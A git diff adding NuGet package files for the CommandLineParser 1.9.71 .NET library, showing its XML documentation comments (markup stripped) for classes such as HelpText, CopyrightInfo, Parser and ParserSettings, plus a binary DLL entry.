+ Converts the help instance to a .
+
+ This instance.
+ The that contains the help screen.
+
+
+
+ Adds a text line after copyright and before options usage strings.
+
+ A instance.
+ Thrown when parameter is null or empty string.
+
+
+
+ Adds a text line at the bottom, after options usage string.
+
+ A instance.
+ Thrown when parameter is null or empty string.
+
+
+
+ Adds a text block with options usage string.
+
+ The instance that collected command line arguments parsed with class.
+ Thrown when parameter is null.
+
+
+
+ Adds a text block with options usage string.
+
+ The instance that collected command line arguments parsed with the class.
+ The word to use when the option is required.
+ Thrown when parameter is null.
+ Thrown when parameter is null or empty string.
+
+
+
+ Adds a text block with options usage string.
+
+ The instance that collected command line arguments parsed with the class.
+ The word to use when the option is required.
+ The maximum length of the help documentation.
+ Thrown when parameter is null.
+ Thrown when parameter is null or empty string.
+
+
+
+ Builds a string that contains a parsing error message.
+
+ An options target instance that collects parsed arguments parsed with the
+ associated to a property of type .
+ Number of spaces used to indent text.
+ The that contains the parsing error message.
+
+
+
+ Returns the help screen as a .
+
+ The that contains the help screen.
+
+
+
+ The OnFormatOptionHelpText method also allows derived classes to handle the event without attaching a delegate.
+ This is the preferred technique for handling the event in a derived class.
+
+ Data for the event.
+
+
+
+ Occurs when an option help text is formatted.
+
+
+
+
+ Gets or sets the heading string.
+ You can directly assign a instance.
+
+
+
+
+ Gets or sets the copyright string.
+ You can directly assign a instance.
+
+
+
+
+ Gets or sets the maximum width of the display. This determines word wrap when displaying the text.
+
+ The maximum width of the display.
+
+
+
+ Gets or sets a value indicating whether the format of options should contain dashes.
+ It modifies behavior of method.
+
+
+
+
+ Gets or sets a value indicating whether to add an additional line after the description of the option.
+
+
+
+
+ Gets the instance specified in constructor.
+
+
+
+
+ Models an abstract sentence builder.
+
+
+
+
+ Creates the built in sentence builder.
+
+ The built in sentence builder.
+
+
+
+ Gets a string containing word 'option'.
+
+ The word 'option'.
+
+
+
+ Gets a string containing the word 'and'.
+
+ The word 'and'.
+
+
+
+ Gets a string containing the sentence 'required option missing'.
+
+ The sentence 'required option missing'.
+
+
+
+ Gets a string containing the sentence 'violates format'.
+
+ The sentence 'violates format'.
+
+
+
+ Gets a string containing the sentence 'violates mutual exclusiveness'.
+
+ The sentence 'violates mutual exclusiveness'.
+
+
+
+ Gets a string containing the error heading text.
+
+ The error heading text.
+
+
+
+ Models an english sentence builder, currently the default one.
+
+
+
+
+ Gets a string containing word 'option' in english.
+
+ The word 'option' in english.
+
+
+
+ Gets a string containing the word 'and' in english.
+
+ The word 'and' in english.
+
+
+
+ Gets a string containing the sentence 'required option missing' in english.
+
+ The sentence 'required option missing' in english.
+
+
+
+ Gets a string containing the sentence 'violates format' in english.
+
+ The sentence 'violates format' in english.
+
+
+
+ Gets a string containing the sentence 'violates mutual exclusiveness' in english.
+
+ The sentence 'violates mutual exclusiveness' in english.
+
+
+
+ Gets a string containing the error heading text in english.
+
+ The error heading text in english.
+
+
+
+ Models the copyright part of an help text.
+ You can assign it where you assign any instance.
+
+
+
+
+ Initializes a new instance of the class
+ specifying author and year.
+
+ The company or person holding the copyright.
+ The year of coverage of copyright.
+ Thrown when parameter is null or empty string.
+
+
+
+ Initializes a new instance of the class
+ specifying author and copyrightYears.
+
+ The company or person holding the copyright.
+ The copyrightYears of coverage of copyright.
+ Thrown when parameter is null or empty string.
+ Thrown when parameter is not supplied.
+
+
+
+ Initializes a new instance of the class
+ specifying symbol case, author and copyrightYears.
+
+ The case of the copyright symbol.
+ The company or person holding the copyright.
+ The copyrightYears of coverage of copyright.
+ Thrown when parameter is null or empty string.
+ Thrown when parameter is not supplied.
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class
+ with an assembly attribute, this overrides all formatting.
+
+ The attribute which text to use.
+
+
+
+ Converts the copyright instance to a .
+
+ This instance.
+ The that contains the copyright.
+
+
+
+ Returns the copyright as a .
+
+ The that contains the copyright.
+
+
+
+ When overridden in a derived class, allows to specify a new algorithm to render copyright copyrightYears
+ as a instance.
+
+ A array of copyrightYears.
+ A instance with copyright copyrightYears.
+
+
+
+ Gets the default copyright information.
+ Retrieved from , if it exists,
+ otherwise it uses as copyright holder with the current year.
+ If neither exists it throws an .
+
+
+
+
+ Gets a different copyright word when overridden in a derived class.
+
+
+
+
+ Models the heading part of an help text.
+ You can assign it where you assign any instance.
+
+
+
+
+ Initializes a new instance of the class
+ specifying program name.
+
+ The name of the program.
+ Thrown when parameter is null or empty string.
+
+
+
+ Initializes a new instance of the class
+ specifying program name and version.
+
+ The name of the program.
+ The version of the program.
+ Thrown when parameter is null or empty string.
+
+
+
+ Converts the heading to a .
+
+ This instance.
+ The that contains the heading.
+
+
+
+ Returns the heading as a .
+
+ The that contains the heading.
+
+
+
+ Writes out a string and a new line using the program name specified in the constructor
+ and parameter.
+
+ The message to write.
+ The target derived type.
+ Thrown when parameter is null or empty string.
+ Thrown when parameter is null.
+
+
+
+ Writes out a string and a new line using the program name specified in the constructor
+ and parameter to standard output stream.
+
+ The message to write.
+ Thrown when parameter is null or empty string.
+
+
+
+ Writes out a string and a new line using the program name specified in the constructor
+ and parameter to standard error stream.
+
+ The message to write.
+ Thrown when parameter is null or empty string.
+
+
+
+ Gets the default heading instance.
+ The title is retrieved from ,
+ or the assembly short name if its not defined.
+ The version is retrieved from ,
+ or the assembly version if its not defined.
+
+
+
+
+ Provides base properties for creating an attribute, used to define multiple lines of text.
+
+
+
+
+ Initializes a new instance of the class. Used in derived type
+ using one line of text.
+
+ The first line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using two lines of text.
+
+ The first line of text.
+ The second line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using three lines of text.
+
+ The first line of text.
+ The second line of text.
+ The third line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using four lines of text.
+
+ The first line of text.
+ The second line of text.
+ The third line of text.
+ The fourth line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using five lines of text.
+
+ The first line of text.
+ The second line of text.
+ The third line of text.
+ The fourth line of text.
+ The fifth line of text.
+
+
+
+ Returns the last line with text. Preserves blank lines if user intended by skipping a line.
+
+ The last index of line of the non-blank line.
+
+ The string array to process.
+
+
+
+ Gets the all non-blank lines as string.
+
+ A string of all non-blank lines.
+
+
+
+ Gets the first line of text.
+
+
+
+
+ Gets the second line of text.
+
+
+
+
+ Gets third line of text.
+
+
+
+
+ Gets the fourth line of text.
+
+
+
+
+ Gets the fifth line of text.
+
+
+
+
+ Models a multiline assembly license text.
+
+
+
+
+ Initializes a new instance of the class
+ with one line of text.
+
+ First line of license text.
+
+
+
+ Initializes a new instance of the class
+ with two lines of text.
+
+ First line of license text.
+ Second line of license text.
+
+
+
+ Initializes a new instance of the class
+ with three lines of text.
+
+ First line of license text.
+ Second line of license text.
+ Third line of license text.
+
+
+
+ Initializes a new instance of the class
+ with four lines of text.
+
+ First line of license text.
+ Second line of license text.
+ Third line of license text.
+ Fourth line of license text.
+
+
+
+ Initializes a new instance of the class
+ with five lines of text.
+
+ First line of license text.
+ Second line of license text.
+ Third line of license text.
+ Fourth line of license text.
+ Fifth line of license text.
+
+
+
+ Models a multiline assembly usage text.
+
+
+
+
+ Initializes a new instance of the class
+ with one line of text.
+
+ First line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with two lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with three lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+ Third line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with four lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+ Third line of usage text.
+ Fourth line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with five lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+ Third line of usage text.
+ Fourth line of usage text.
+ Fifth line of usage text.
+
+
+
+ Provides data for the FormatOptionHelpText event.
+
+
+
+
+ Initializes a new instance of the class.
+
+ Option to format.
+
+
+
+ Gets the option to format.
+
+
+
+
+ Indicates the instance method that must be invoked when it becomes necessary show your help screen.
+ The method signature is an instance method with that accepts and returns a .
+
+
+
+
+ Initializes a new instance of the class.
+ Although it is possible, it is strongly discouraged redefine the long name for this option
+ not to disorient your users.
+
+
+
+
+ Initializes a new instance of the class
+ with the specified long name. Use parameter less constructor instead.
+
+ Help verb option alternative name.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Help verb command do not support short name by design.
+
+
+
+
+ Help verb command like ordinary help option cannot be mandatory by design.
+
+
+
+
+ Models a verb command specification.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the verb command.
+
+
+
+ Verb commands do not support short name by design.
+
+
+
+
+ Verb commands cannot be mandatory since are mutually exclusive by design.
+
+
+
+
+ Models a bad parsed option.
+
+
+
+
+ Gets the short name of the option.
+
+ Returns the short name of the option.
+
+
+
+ Gets the long name of the option.
+
+ Returns the long name of the option.
+
+
+
+ Provides methods to parse command line arguments.
+
+
+
+
+ Default exit code (1) used by
+ and overloads.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class,
+ configurable with a object.
+
+ The object is used to configure
+ aspects and behaviors of the parser.
+
+
+
+ Initializes a new instance of the class,
+ configurable with using a delegate.
+
+ The delegate used to configure
+ aspects and behaviors of the parser.
+
+
+
+ Finalizes an instance of the class.
+
+
+
+
+ Parses a array of command line arguments, setting values in
+ parameter instance's public fields decorated with appropriate attributes.
+
+ A array of command line arguments.
+ An instance used to receive values.
+ Parsing rules are defined using derived types.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Parses a array of command line arguments with verb commands, setting values in
+ parameter instance's public fields decorated with appropriate attributes.
+ This overload supports verb commands.
+
+ A array of command line arguments.
+ An instance used to receive values.
+ Parsing rules are defined using derived types.
+ Delegate executed to capture verb command name and instance.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Parses a array of command line arguments, setting values in
+ parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes
+ the delegate, if null exits with .
+
+ A array of command line arguments.
+ An object's instance used to receive values.
+ Parsing rules are defined using derived types.
+ The delegate executed when parsing fails.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Parses a array of command line arguments with verb commands, setting values in
+ parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes
+ the delegate, if null exits with .
+ This overload supports verb commands.
+
+ A array of command line arguments.
+ An instance used to receive values.
+ Parsing rules are defined using derived types.
+ Delegate executed to capture verb command name and instance.
+ The delegate executed when parsing fails.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Frees resources owned by the instance.
+
+
+
+
+ Gets the singleton instance created with basic defaults.
+
+
+
+
+ Gets the instance that implements in use.
+
+
+
+
+ This exception is thrown when a generic parsing error occurs.
+
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+ Error message string.
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+ Error message string.
+ Inner exception reference.
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+ The object that holds the serialized object data.
+ The contextual information about the source or destination.
+
+
+
+ Provides settings for . Once consumed cannot be reused.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class,
+ setting the case comparison behavior.
+
+ If set to true, parsing will be case sensitive.
+
+
+
+ Initializes a new instance of the class,
+ setting the used for help method output.
+
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison and help output options.
+
+ If set to true, parsing will be case sensitive.
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison and mutually exclusive behaviors.
+
+ If set to true, parsing will be case sensitive.
+ If set to true, enable mutually exclusive behavior.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison, mutually exclusive behavior and help output option.
+
+ If set to true, parsing will be case sensitive.
+ If set to true, enable mutually exclusive behavior.
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison, mutually exclusive behavior and help output option.
+
+ If set to true, parsing will be case sensitive.
+ If set to true, enable mutually exclusive behavior.
+ If set to true, allow the parser to skip unknown argument, otherwise return a parse failure
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Finalizes an instance of the class.
+
+
+
+
+ Frees resources owned by the instance.
+
+
+
+
+ Gets or sets a value indicating whether perform case sensitive comparisons.
+
+
+
+
+ Gets or sets a value indicating whether set a mutually exclusive behavior.
+ Default is set to false.
+
+
+
+
+ Gets or sets the used for help method output.
+ Setting this property to null, will disable help screen.
+
+
+
+
+ Gets or sets a value indicating whether the parser shall move on to the next argument and ignore the given argument if it
+ encounter an unknown arguments
+
+
+ true to allow parsing the arguments with different class options that do not have all the arguments.
+
+
+ This allows fragmented version class parsing, useful for project with add-on where add-ons also requires command line arguments but
+ when these are unknown by the main program at build time.
+
+
+
+
+ Gets or sets the culture used when parsing arguments to typed properties.
+
+
+ Default is CurrentCulture of .
+
+
+
+
+ Represents the parser state.
+
+
+
+
+ Gets errors occurred during parsing.
+
+
+
+
+ Models a type that records the parser state after parsing.
+
+
+
+
+ Gets a list of parsing errors.
+
+
+ Parsing errors.
+
+
+
+
+ Models a parsing error.
+
+
+
+
+ Gets or a the bad parsed option.
+
+
+ The bad option.
+
+
+
+
+ Gets or sets a value indicating whether this violates required.
+
+
+ true if violates required; otherwise, false .
+
+
+
+
+ Gets or sets a value indicating whether this violates format.
+
+
+ true if violates format; otherwise, false .
+
+
+
+
+ Gets or sets a value indicating whether this violates mutual exclusiveness.
+
+
+ true if violates mutual exclusiveness; otherwise, false .
+
+
+
+
diff --git a/packages/CommandLineParser.1.9.71/lib/net40/CommandLine.dll b/packages/CommandLineParser.1.9.71/lib/net40/CommandLine.dll
new file mode 100644
index 0000000..d5497ef
Binary files /dev/null and b/packages/CommandLineParser.1.9.71/lib/net40/CommandLine.dll differ
diff --git a/packages/CommandLineParser.1.9.71/lib/net40/CommandLine.xml b/packages/CommandLineParser.1.9.71/lib/net40/CommandLine.xml
new file mode 100644
index 0000000..4620bee
--- /dev/null
+++ b/packages/CommandLineParser.1.9.71/lib/net40/CommandLine.xml
@@ -0,0 +1,1390 @@
+
+
+
+ CommandLine
+
+
+
+
+ Provides base properties for creating an attribute, used to define rules for command line parsing.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class.
+ Validating and .
+
+ Short name of the option.
+ Long name of the option.
+
+
+
+ Initializes a new instance of the class. Validating
+ and . This constructor accepts a as short name.
+
+ Short name of the option.
+ Long name of the option.
+
+
+
+ Gets a short name of this command line option. You can use only one character.
+
+
+
+
+ Gets long name of this command line option. This name is usually a single english word.
+
+
+
+
+ Gets or sets the option's mutually exclusive set.
+
+
+
+
+ Gets or sets a value indicating whether a command line option is required.
+
+
+
+
+ Gets or sets mapped property default value.
+
+
+
+
+ Gets or sets mapped property meta value.
+
+
+
+
+ Gets or sets a short description of this command line option. Usually a sentence summary.
+
+
+
+
+ Models an option specification.
+
+
+
+
+ Initializes a new instance of the class.
+ The default long name will be inferred from target property.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option..
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+
+
+ Helper factory method for testing purpose.
+
+ An instance.
+
+
+
+ Models an option that can accept multiple values as separated arguments.
+
+
+
+
+ Initializes a new instance of the class.
+ The default long name will be inferred from target property.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+
+
+ Indicates the instance method that must be invoked when it becomes necessary show your help screen.
+ The method signature is an instance method with no parameters and
+ return value.
+
+
+
+
+ Initializes a new instance of the class.
+ Although it is possible, it is strongly discouraged redefine the long name for this option
+ not to disorient your users. It is also recommended not to define a short one.
+
+
+
+
+ Initializes a new instance of the class
+ with the specified short name. Use parameter less constructor instead.
+
+ The short name of the option.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Initializes a new instance of the class
+ with the specified long name. Use parameter less constructor instead.
+
+ The long name of the option or null if not used.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Initializes a new instance of the class.
+ Allows you to define short and long option names.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Returns always false for this kind of option.
+ This behaviour can't be changed by design; if you try set
+ an will be thrown.
+
+
+
+
+ Models an option that can accept multiple values.
+ Must be applied to a field compatible with an interface
+ of instances.
+
+
+
+
+ Initializes a new instance of the class.
+ The default long name will be inferred from target property.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the option or null if not used.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option or null if not used.
+ The long name of the option or null if not used.
+ Values separator character.
+
+
+
+ Gets or sets the values separator character.
+
+
+
+
+ Indicates that the property can receive an instance of type .
+
+
+
+
+ Models a list of command line arguments that are not options.
+ Must be applied to a field compatible with an interface
+ of instances.
+
+ To map individual values use instead .
+
+
+
+ Initializes a new instance of the class.
+
+ A type that implements .
+ Thrown if is null.
+
+
+
+ Gets or sets the maximum element allow for the list managed by type.
+ If lesser than 0, no upper bound is fixed.
+ If equal to 0, no elements are allowed.
+
+
+
+
+ Gets the concrete type specified during initialization.
+
+
+
+
+ Maps a single unnamed option to the target property. Values will be mapped in order of Index.
+ This attribute takes precedence over with which
+ can coexist.
+
+ It can handle only scalar values. Do not apply to arrays or lists.
+
+
+
+ Initializes a new instance of the class.
+
+ The _index of the option.
+
+
+
+ Gets the position this option has on the command line.
+
+
+
+
+ Utility extension methods for System.Char.
+
+
+
+
+ Encapsulates property writing primitives.
+
+
+
+
+ Utility extension methods for System.String.
+
+
+
+
+ Gets or sets the assembly from which to pull information. Setter provided for testing purpose.
+
+
+
+
+ Utility extension methods for query target capabilities.
+
+
+
+
+ Maps unnamed options to property using and .
+
+
+
+
+ Helper method for testing purpose.
+
+ An argument enumerator instance.
+ The next input value.
+
+
+
+ Initializes a new instance of the class. Used for unit testing purpose.
+
+ Option short name.
+ Option long name.
+
+
+
+ Initializes a new instance of the class.
+ It is internal rather than private for unit testing purpose.
+
+ Initial internal capacity.
+ Parser settings instance.
+
+
+
+ Provides means to format an help screen.
+ You can assign it in place of a instance.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class
+ specifying the sentence builder.
+
+
+ A instance.
+
+
+
+
+ Initializes a new instance of the class
+ specifying heading string.
+
+ An heading string or an instance of .
+ Thrown when parameter is null or empty string.
+
+
+
+ Initializes a new instance of the class
+ specifying the sentence builder and heading string.
+
+ A instance.
+ A string with heading or an instance of .
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A instance.
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ The instance that collected command line arguments parsed with class.
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A instance.
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ The instance that collected command line arguments parsed with class.
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Creates a new instance of the class using common defaults.
+
+
+ An instance of class.
+
+ The instance that collected command line arguments parsed with class.
+
+
+
+ Creates a new instance of the class using common defaults.
+
+
+ An instance of class.
+
+ The instance that collected command line arguments parsed with class.
+ A delegate used to customize the text block for reporting parsing errors.
+ If true the output style is consistent with verb commands (no dashes), otherwise it outputs options.
+
+
+
+ Creates a new instance of the class using common defaults,
+ for verb commands scenario.
+
+
+ An instance of class.
+
+ The instance that collected command line arguments parsed with class.
+ The verb command invoked.
+
+
+
+ Supplies a default parsing error handler implementation.
+
+ The instance that collects parsed arguments parsed and associates
+ to a property of type .
+ The instance.
+
+
+
+ Converts the help instance to a .
+
+ This instance.
+ The that contains the help screen.
+
+
+
+ Adds a text line after copyright and before options usage strings.
+
+ A instance.
+ Thrown when parameter is null or empty string.
+
+
+
+ Adds a text line at the bottom, after options usage string.
+
+ A instance.
+ Thrown when parameter is null or empty string.
+
+
+
+ Adds a text block with options usage string.
+
+ The instance that collected command line arguments parsed with class.
+ Thrown when parameter is null.
+
+
+
+ Adds a text block with options usage string.
+
+ The instance that collected command line arguments parsed with the class.
+ The word to use when the option is required.
+ Thrown when parameter is null.
+ Thrown when parameter is null or empty string.
+
+
+
+ Adds a text block with options usage string.
+
+ The instance that collected command line arguments parsed with the class.
+ The word to use when the option is required.
+ The maximum length of the help documentation.
+ Thrown when parameter is null.
+ Thrown when parameter is null or empty string.
+
+
+
+ Builds a string that contains a parsing error message.
+
+ An options target instance that collects parsed arguments parsed with the
+ associated to a property of type .
+ Number of spaces used to indent text.
+ The that contains the parsing error message.
+
+
+
+ Returns the help screen as a .
+
+ The that contains the help screen.
+
+
+
+ The OnFormatOptionHelpText method also allows derived classes to handle the event without attaching a delegate.
+ This is the preferred technique for handling the event in a derived class.
+
+ Data for the event.
+
+
+
+ Occurs when an option help text is formatted.
+
+
+
+
+ Gets or sets the heading string.
+ You can directly assign a instance.
+
+
+
+
+ Gets or sets the copyright string.
+ You can directly assign a instance.
+
+
+
+
+ Gets or sets the maximum width of the display. This determines word wrap when displaying the text.
+
+ The maximum width of the display.
+
+
+
+ Gets or sets a value indicating whether the format of options should contain dashes.
+ It modifies behavior of method.
+
+
+
+
+ Gets or sets a value indicating whether to add an additional line after the description of the option.
+
+
+
+
+ Gets the instance specified in constructor.
+
+
+
+
+ Models an abstract sentence builder.
+
+
+
+
+ Creates the built in sentence builder.
+
+ The built in sentence builder.
+
+
+
+ Gets a string containing word 'option'.
+
+ The word 'option'.
+
+
+
+ Gets a string containing the word 'and'.
+
+ The word 'and'.
+
+
+
+ Gets a string containing the sentence 'required option missing'.
+
+ The sentence 'required option missing'.
+
+
+
+ Gets a string containing the sentence 'violates format'.
+
+ The sentence 'violates format'.
+
+
+
+ Gets a string containing the sentence 'violates mutual exclusiveness'.
+
+ The sentence 'violates mutual exclusiveness'.
+
+
+
+ Gets a string containing the error heading text.
+
+ The error heading text.
+
+
+
+ Models an english sentence builder, currently the default one.
+
+
+
+
+ Gets a string containing word 'option' in english.
+
+ The word 'option' in english.
+
+
+
+ Gets a string containing the word 'and' in english.
+
+ The word 'and' in english.
+
+
+
+ Gets a string containing the sentence 'required option missing' in english.
+
+ The sentence 'required option missing' in english.
+
+
+
+ Gets a string containing the sentence 'violates format' in english.
+
+ The sentence 'violates format' in english.
+
+
+
+ Gets a string containing the sentence 'violates mutual exclusiveness' in english.
+
+ The sentence 'violates mutual exclusiveness' in english.
+
+
+
+ Gets a string containing the error heading text in english.
+
+ The error heading text in english.
+
+
+
+ Models the copyright part of an help text.
+ You can assign it where you assign any instance.
+
+
+
+
+ Initializes a new instance of the class
+ specifying author and year.
+
+ The company or person holding the copyright.
+ The year of coverage of copyright.
+ Thrown when parameter is null or empty string.
+
+
+
+ Initializes a new instance of the class
+ specifying author and copyrightYears.
+
+ The company or person holding the copyright.
+ The copyrightYears of coverage of copyright.
+ Thrown when parameter is null or empty string.
+ Thrown when parameter is not supplied.
+
+
+
+ Initializes a new instance of the class
+ specifying symbol case, author and copyrightYears.
+
+ The case of the copyright symbol.
+ The company or person holding the copyright.
+ The copyrightYears of coverage of copyright.
+ Thrown when parameter is null or empty string.
+ Thrown when parameter is not supplied.
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class
+ with an assembly attribute, this overrides all formatting.
+
+ The attribute which text to use.
+
+
+
+ Converts the copyright instance to a .
+
+ This instance.
+ The that contains the copyright.
+
+
+
+ Returns the copyright as a .
+
+ The that contains the copyright.
+
+
+
+ When overridden in a derived class, allows to specify a new algorithm to render copyright copyrightYears
+ as a instance.
+
+ A array of copyrightYears.
+ A instance with copyright copyrightYears.
+
+
+
+ Gets the default copyright information.
+ Retrieved from , if it exists,
+ otherwise it uses as copyright holder with the current year.
+ If neither exists it throws an .
+
+
+
+
+ Gets a different copyright word when overridden in a derived class.
+
+
+
+
+ Models the heading part of an help text.
+ You can assign it where you assign any instance.
+
+
+
+
+ Initializes a new instance of the class
+ specifying program name.
+
+ The name of the program.
+ Thrown when parameter is null or empty string.
+
+
+
+ Initializes a new instance of the class
+ specifying program name and version.
+
+ The name of the program.
+ The version of the program.
+ Thrown when parameter is null or empty string.
+
+
+
+ Converts the heading to a .
+
+ This instance.
+ The that contains the heading.
+
+
+
+ Returns the heading as a .
+
+ The that contains the heading.
+
+
+
+ Writes out a string and a new line using the program name specified in the constructor
+ and parameter.
+
+ The message to write.
+ The target derived type.
+ Thrown when parameter is null or empty string.
+ Thrown when parameter is null.
+
+
+
+ Writes out a string and a new line using the program name specified in the constructor
+ and parameter to standard output stream.
+
+ The message to write.
+ Thrown when parameter is null or empty string.
+
+
+
+ Writes out a string and a new line using the program name specified in the constructor
+ and parameter to standard error stream.
+
+ The message to write.
+ Thrown when parameter is null or empty string.
+
+
+
+ Gets the default heading instance.
+ The title is retrieved from ,
+ or the assembly short name if its not defined.
+ The version is retrieved from ,
+ or the assembly version if its not defined.
+
+
+
+
+ Provides base properties for creating an attribute, used to define multiple lines of text.
+
+
+
+
+ Initializes a new instance of the class. Used in derived type
+ using one line of text.
+
+ The first line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using two lines of text.
+
+ The first line of text.
+ The second line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using three lines of text.
+
+ The first line of text.
+ The second line of text.
+ The third line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using four lines of text.
+
+ The first line of text.
+ The second line of text.
+ The third line of text.
+ The fourth line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using five lines of text.
+
+ The first line of text.
+ The second line of text.
+ The third line of text.
+ The fourth line of text.
+ The fifth line of text.
+
+
+
+ Returns the last line with text. Preserves blank lines if user intended by skipping a line.
+
+ The last index of line of the non-blank line.
+
+ The string array to process.
+
+
+
+ Gets the all non-blank lines as string.
+
+ A string of all non-blank lines.
+
+
+
+ Gets the first line of text.
+
+
+
+
+ Gets the second line of text.
+
+
+
+
+ Gets third line of text.
+
+
+
+
+ Gets the fourth line of text.
+
+
+
+
+ Gets the fifth line of text.
+
+
+
+
+ Models a multiline assembly license text.
+
+
+
+
+ Initializes a new instance of the class
+ with one line of text.
+
+ First line of license text.
+
+
+
+ Initializes a new instance of the class
+ with two lines of text.
+
+ First line of license text.
+ Second line of license text.
+
+
+
+ Initializes a new instance of the class
+ with three lines of text.
+
+ First line of license text.
+ Second line of license text.
+ Third line of license text.
+
+
+
+ Initializes a new instance of the class
+ with four lines of text.
+
+ First line of license text.
+ Second line of license text.
+ Third line of license text.
+ Fourth line of license text.
+
+
+
+ Initializes a new instance of the class
+ with five lines of text.
+
+ First line of license text.
+ Second line of license text.
+ Third line of license text.
+ Fourth line of license text.
+ Fifth line of license text.
+
+
+
+ Models a multiline assembly usage text.
+
+
+
+
+ Initializes a new instance of the class
+ with one line of text.
+
+ First line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with two lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with three lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+ Third line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with four lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+ Third line of usage text.
+ Fourth line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with five lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+ Third line of usage text.
+ Fourth line of usage text.
+ Fifth line of usage text.
+
+
+
+ Provides data for the FormatOptionHelpText event.
+
+
+
+
+ Initializes a new instance of the class.
+
+ Option to format.
+
+
+
+ Gets the option to format.
+
+
+
+
+ Indicates the instance method that must be invoked when it becomes necessary show your help screen.
+ The method signature is an instance method with that accepts and returns a .
+
+
+
+
+ Initializes a new instance of the class.
+ Although it is possible, it is strongly discouraged redefine the long name for this option
+ not to disorient your users.
+
+
+
+
+ Initializes a new instance of the class
+ with the specified long name. Use parameter less constructor instead.
+
+ Help verb option alternative name.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Help verb command do not support short name by design.
+
+
+
+
+ Help verb command like ordinary help option cannot be mandatory by design.
+
+
+
+
+ Models a verb command specification.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the verb command.
+
+
+
+ Verb commands do not support short name by design.
+
+
+
+
+ Verb commands cannot be mandatory since are mutually exclusive by design.
+
+
+
+
+ Models a bad parsed option.
+
+
+
+
